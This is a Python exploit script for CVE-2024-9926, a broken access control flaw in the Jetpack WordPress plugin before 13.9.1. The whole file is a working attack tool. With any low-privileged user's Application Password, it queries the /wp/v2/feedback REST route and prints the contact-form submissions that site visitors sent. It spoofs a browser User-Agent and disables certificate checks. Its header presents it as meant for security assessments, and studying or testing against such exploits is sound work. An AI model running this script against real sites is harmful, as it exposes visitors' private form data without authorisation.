#!/usr/bin/env python3 # Exploit Title: Jetpack < 13.9.1 - Broken Access Control in Contact Form # Date: 2024-11-01 # Exploit Author: Antonio Francesco Sardella # Vendor Homepage: https://jetpack.com/ # Software Link: https://jetpack.com/ # Version: Every version of Jetpack since 3.9.9. # Tested on: 'WordPress 6.6.2' in Docker container (vulnerable application), 'Ubuntu 24.04.1 LTS' with 'Python 3.12.3' (script execution) # CVE: CVE-2024-9926 # Category: WebApps # Repository: https://github.com/m3ssap0/wordpress-jetpack-broken-access-control-exploit # Vulnerability discovered and reported by: Marc Montpas # This is a Python3 program that exploits Jetpack < 13.9.1 broken access control vulnerability. # This vulnerability could be used by any logged in users on a site to read forms submitted by visitors on the site. # https://jetpack.com/blog/jetpack-13-9-1-critical-security-update/ # https://wpscan.com/vulnerability/669382af-f836-4896-bdcb-5c6a57c99bd9/ # DISCLAIMER: This tool is intended for security engineers and appsec people for security assessments. # Please use this tool responsibly. I do not take responsibility for the way in which any one uses # this application. I am NOT responsible for any damages caused or any crimes committed by using this tool. import argparse import json import logging import requests import validators from requests.auth import HTTPBasicAuth VERSION = "v1.0 (2024-11-01)" DEFAULT_LOGGING_LEVEL = logging.INFO def parse_arguments(): parser = argparse.ArgumentParser( description=f"Exploit for Jetpack < 13.9.1 broken access control vulnerability (CVE-2024-9926). - {VERSION}" ) parser.add_argument("-t", "--target", required=True, help="URL of the target WordPress") parser.add_argument("-u", "--username", required=True, help="Username of WordPress") parser.add_argument("-ap", "--application-password", required=True, help="Application Password generated for the user (it's NOT the user password)") parser.add_argument("-v", "--verbose", action="store_true", required=False, default=False, help="verbose mode") return parser.parse_args() def validate_input(args): try: validators.url(args.target) except validators.ValidationFailure: raise ValueError("Invalid target URL!") if len(args.username.strip()) < 1: raise ValueError("Invalid username!") if len(args.application_password.strip()) < 1: raise ValueError("Invalid Application Password!") def send_request(url, username, application_password): logging.info("Sending request to target WordPress.") target_endpoint = f"{url}" if not target_endpoint.endswith("/"): target_endpoint = f"{target_endpoint}/" target_endpoint = f"{target_endpoint}?rest_route=/wp/v2/feedback" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" } basic = HTTPBasicAuth(username, application_password) try: r = requests.get(target_endpoint, headers=headers, auth=basic, verify=False) logging.info(f"Request sent to target WordPress (HTTP {r.status_code}).") except Exception as e: logging.fatal("Error in contacting the target WordPress.") logging.fatal(e) return if r.status_code == 200 and "application/json" in r.headers["Content-Type"]: logging.info(f"\n---------------------\n{json.dumps(r.json(), indent=3)}\n---------------------") else: logging.fatal("Wrong response received from the target WordPress.") if "application/json" in r.headers["Content-Type"]: logging.fatal(f"\n---------------------\n{json.dumps(r.json(), indent=3)}\n---------------------") else: logging.fatal(f"\n---------------------\n{r.text}\n---------------------") def main(): args = parse_arguments() logging_level = DEFAULT_LOGGING_LEVEL if args.verbose: logging_level = logging.DEBUG logging.basicConfig(level=logging_level, format="%(asctime)s - %(levelname)s - %(message)s") validate_input(args) target = args.target.strip() username = args.username.strip() application_password = args.application_password.strip() logging.info(f"Exploit for Jetpack < 13.9.1 broken access control vulnerability (CVE-2024-9926). - {VERSION}") logging.debug("Parameters:") logging.debug(f" target = {target}") logging.debug(f" username = {username}") logging.debug(f"application_password = {application_password}") send_request(target, username, application_password) logging.info("Finished.") if __name__ == "__main__": main()